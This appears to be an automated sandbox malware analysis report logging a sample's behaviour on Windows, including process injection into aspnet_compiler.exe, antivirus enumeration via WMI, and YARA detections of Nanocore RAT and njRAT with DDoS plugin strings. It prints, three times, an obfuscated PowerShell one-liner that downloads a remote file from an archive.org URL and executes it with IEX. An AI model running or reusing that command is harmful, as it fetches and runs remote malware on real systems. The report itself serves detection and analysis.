Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 40A000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 40C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: C76008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')\|&('I'+'EX');			Jump to behavior

Source: aspnet_compiler.exe, 00000014.00000002.1175541598.0000000002D1A000.00000004.00000001.sdmp, aspnet_compiler.exe, 00000016.00000002.1173256569.0000000001750000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: aspnet_compiler.exe, 00000014.00000002.1173305362.0000000001220000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000016.00000002.1173256569.0000000001750000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: aspnet_compiler.exe, 00000014.00000002.1173305362.0000000001220000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000016.00000002.1173256569.0000000001750000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: aspnet_compiler.exe, 00000014.00000002.1174501459.0000000002975000.00000004.00000001.sdmp	Binary or memory string: Program Manager\|$
Source: aspnet_compiler.exe, 00000014.00000002.1173305362.0000000001220000.00000002.00000001.sdmp, aspnet_compiler.exe, 00000016.00000002.1173256569.0000000001750000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: aspnet_compiler.exe, 00000014.00000002.1174501459.0000000002975000.00000004.00000001.sdmp	Binary or memory string: Program Manager4
Source: aspnet_compiler.exe, 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp	Binary or memory string: Program ManagerD$#k

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0013~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00116~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct

Stealing of Sensitive Information:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 20.2.aspnet_compiler.exe.3828a18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.382d041.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.3828a18.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.3814575.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.1175964065.0000000003813000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1173629355.00000000027C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 7072, type: MEMORYSTR

Yara detected Njrat

Show sources

Source: Yara match

File source: Process Memory Space: aspnet_compiler.exe PID: 5596, type: MEMORYSTR

Remote Access Functionality:

Detected Nanocore Rat

Show sources

Source: aspnet_compiler.exe, 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: aspnet_compiler.exe, 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCoreStressTester.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoCoreStressTesterClientPluginHTTPFloodSlowLorisSYNFloodTCPNanoCoreStressTester.FloodUDPSendSynCommandHandlerResourcesNanoCoreStressTester.My.ResourcesMySettingsMySettingsPropertyCommandsMethodsMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostIClientDataHostDataHostClientGUIDSendCommandparamsInitializePluginNanoCore.ClientPluginIClientNetwork_networkhost_loggingHost_DataHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketStartHostToAttackArrayUploadDataSiteUserAgentRefererValuesGeneratecodelengthSystem.ThreadingThreadThreadsPortToAttackTimeToAttackThreadstoUseThreadsEndedattacksAttackRunningFloodnewHostnewPortnewTimenewThreadslolStopSlowlorisStressThreadStart_floodingJob_floodingThreadSystem.NetIPEndPoint_ipEo_synClassHostIsEnabledPortSuperSynSocketsStartSuperSynStopSuperSynSystem.Net.SocketsSocketClientIPPacketsPacketSizeMaxPacketsStopFloodmPacketspSize_sockipEosuperSynSockets__1IAsyncResultOnConnectarSendFloodingstopHTTPBytesSentSYNConnectionsHTTPDataSentMethodTargetAddressTargetStatusupdateBytesnewSYNFloodHandleDDOSCommandHandleStopCommandSystem.TimersElapsedEventArgsbytesTimerElapsedsourceeHandleHTTPCommandHandleSlowlorisCommandHandleTCPCommandHandleUDPCommandHandleSYNCommandSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CultureValueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_Defa